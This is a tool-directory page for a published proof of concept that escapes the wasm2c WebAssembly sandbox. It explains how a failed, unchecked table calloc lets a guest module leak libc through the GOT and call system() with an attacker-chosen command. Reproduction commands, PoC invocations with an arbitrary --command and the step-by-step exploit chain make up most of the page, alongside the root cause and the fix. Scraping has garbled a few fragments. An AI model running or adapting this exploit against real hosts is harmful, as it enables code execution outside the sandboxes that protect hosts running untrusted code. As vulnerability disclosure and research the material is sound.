Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
wasm2c-tableflip — wasm2c sandbox escape. An untrusted WebAssembly module breaks out of the generated C sandbox and executes an arbitrary shell command on the host. | Kitploit
Tools/GitHubGitHub/trustsig-eu/wasm2c-tableflip
Vulnerability AnalysisExploitationSecurity VirtualizationBinary Exploitation
GitHubtrustsig-eu/wasm2c-tableflip

wasm2c-tableflip

wasm2c sandbox escape. An untrusted WebAssembly module breaks out of the generated C sandbox and executes an arbitrary shell command on the host.

View Repository
4141 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

wasm2c sandbox escape: guest module runs a shell command on the host

Read the blog: trustsig.eu/blog

wasm_rt_allocate_funcref_table() in wasm2c/wasm-rt-impl-tableops.inc sets table->size from the module's declared element count and then ignores the result of calloc(). When the allocation fails the table is left with data == NULL and the full declared size, so every bounds check still passes and table->data[i] becomes the absolute address i * sizeof(wasm_rt_funcref_t).

The element count comes from the guest, so the guest picks the allocation size and can force the failure.

Reproduce

root@kitploit:~
git clone https://github.com/trustsig-eu/wasm2c-tableflip.git
cd wasm2c-tableflip
root@kitploit:~
docker build -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc

The image clones wabt at tag 1.0.41 from upstream, builds wat2wasm and wasm2c, compiles the guest module and a plain embedder, and runs it.

Expected output:

root@kitploit:~
running guest
guest returned 0
--- file on host ---
goodbye sandbox

The last line is the contents of /tmp/pwned.txt, a file that did not exist before the sandboxed module ran.

Verified on linux/arm64 and linux/amd64. Nothing in the module is architecture specific: the instance address, the GOT slot and the libc offset are all resolved at build time from the binary that was just built and from that image's libc.

Without Docker

On Linux, with clang, cmake, ninja and binutils installed:

root@kitploit:~
git clone --depth 1 --branch 1.0.41 --recurse-submodules --shallow-submodules \
  https://github.com/WebAssembly/wabt ~/wabt
cmake -S ~/wabt -B ~/wabt/out -G Ninja -DCMAKE_BUILD_TYPE=Release \
  -DBUILD_TESTS=OFF -DBUILD_LIBWASM=OFF -DWITH_WASI=OFF
ninja -C ~/wabt/out wat2wasm wasm2c

python3 tableflip_poc.py --wabt-src ~/wabt --wat2wasm ~/wabt/out/wat2wasm \
  --wasm2c ~/wabt/out/wasm2c --run
cat /tmp/pwned.txt

macOS is not a supported target for this PoC. Darwin does not enforce RLIMIT_AS, so the oversized calloc succeeds and the bug never triggers, arm64 macOS builds are always position independent, and Mach-O has no ELF GOT for the leak step. The defect itself is platform independent; only this exploit chain is Linux specific.

Other versions and commands:

root@kitploit:~
docker build --build-arg WABT_REF=main -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc bash -c \
  "python3 tableflip_poc.py --run --command 'id > /tmp/pwned.txt' && cat /tmp/pwned.txt"

What the guest does

  1. Declares (table $t 2147483648 funcref). The 68 GB calloc fails, data is NULL, size stays 2147483648, and table indices become absolute addresses.
  2. table.get at got_slot/32 reads the embedder's GOT through the broken table and table.set stores the result into the module's own globals, where wasm code can read it as an integer. That leaks libc's malloc address, and system follows from a fixed distance in the target's libc.
  3. Builds a wasm_rt_funcref_t in four consecutive globals: func_type pointing at a copy of the call site's type hash (func_types_eq_slowpath compares it with , so guest-controlled bytes pass the check), = , and = the command string, also held in globals.

Only layout fact baked into the module is the address of the module instance, which is a global and therefore fixed in a non-PIE embedder. ASLR stays enabled; the libc address is leaked at runtime.

Trigger condition

The table allocation has to fail. The PoC uses ulimit -v 1000000, an address space limit of the kind a host that runs untrusted code would set. It also fails on 32-bit hosts, where the allocation cannot be satisfied at all, with vm.overcommit_memory=2, or under enough memory pressure.

On stock 64-bit Linux with the default overcommit heuristic the allocation succeeds and is never touched, which is why the bug survives normal testing.

Affected

Every release that ships wasm2c tables. The unchecked calloc dates to commit ab9e0b55 (#813). Verified against released 1.0.41 and current main.

The memory allocator in the same runtime handles this case:

root@kitploit:~
  memory->data = (MEMORY_CELL_TYPE)calloc(byte_length, 1);
  if (byte_length != 0 && !memory->data) {
    abort();
  }

The table allocator needs the same check.

Files

  • Dockerfile builds wabt and runs the PoC.
  • tableflip_poc.py generates the guest module, builds the embedder, resolves the three constants out of the built binary and the target's libc with nm and readelf, and runs it. The embedder it emits contains no exploit support code.
Download Tool
memcmp
func
system
module_instance
  • call_indirect at globals_addr/32. wasm2c emits ((t)entry.func)(entry.module_instance, ...), so this calls system(command).